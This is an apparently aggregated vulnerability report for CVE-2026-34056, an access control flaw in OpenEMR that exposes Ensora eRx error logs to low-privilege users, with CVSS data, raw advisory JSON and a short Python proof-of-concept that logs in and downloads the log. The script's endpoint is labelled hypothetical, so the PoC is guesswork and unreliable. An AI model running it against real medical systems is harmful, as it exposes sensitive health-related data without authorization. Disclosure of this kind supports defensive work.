Security Vulnerability Report
中文
CVE-2026-34056 CVSS 7.7 HIGH

CVE-2026-34056

Published: 2026-03-26 00:16:41
Last Modified: 2026-03-26 16:15:23

Description

OpenEMR is a free and open source electronic health records and medical practice management application. A Broken Access Control vulnerability in OpenEMR up to and including version 8.0.0.3 allows low-privilege users to view and download Ensora eRx error logs without proper authorization checks. This flaw compromises system confidentiality by exposing sensitive information, potentially leading to unauthorized data disclosure and misuse. As of time of publication, no known patches versions are available.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR <= 8.0.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "http://target-openemr-domain.com" log_endpoint = "/interface/log/ensora_erx_error.log" # Hypothetical path based on description # Attacker credentials (Low privilege user) login_url = f"{target_host}/login.php" session = requests.Session() # 1. Authenticate as low-privilege user credentials = { "authUser": "low_priv_user", "clearPass": "password123" } session.post(login_url, data=credentials) # 2. Exploit Broken Access Control to download logs exploit_url = f"{target_host}{log_endpoint}" response = session.get(exploit_url) # 3. Verify vulnerability if response.status_code == 200 and "error" in response.text: print("[+] Vulnerability Confirmed: Sensitive logs downloaded.") print(f"[+] Log Length: {len(response.text)} bytes") else: print("[-] Failed to access logs or patch applied.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34056", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:41.400", "lastModified": "2026-03-26T16:15:22.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. A Broken Access Control vulnerability in OpenEMR up to and including version 8.0.0.3 allows low-privilege users to view and download Ensora eRx error logs without proper authorization checks. This flaw compromises system confidentiality by exposing sensitive information, potentially leading to unauthorized data disclosure and misuse. As of time of publication, no known patches versions are available."}, {"lang": "es", "value": "OpenEMR es una aplicación de código abierto y gratuita para registros de salud electrónicos y gestión de consultorios médicos. Una vulnerabilidad de control de acceso roto en OpenEMR hasta la versión 8.0.0.3 inclusive permite a usuarios con bajos privilegios ver y descargar registros de errores de Ensora eRx sin las comprobaciones de autorización adecuadas. Esta falla compromete la confidencialidad del sistema al exponer información sensible, lo que podría llevar a la divulgación no autorizada de datos y su uso indebido. Al momento de la publicación, no hay versiones de parches conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-425"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.0.0.3", "matchCriteriaId": "212E854F-1A4F-46BD-AF78-20E4931F574D"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-6qg7-6jf3-xrfh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}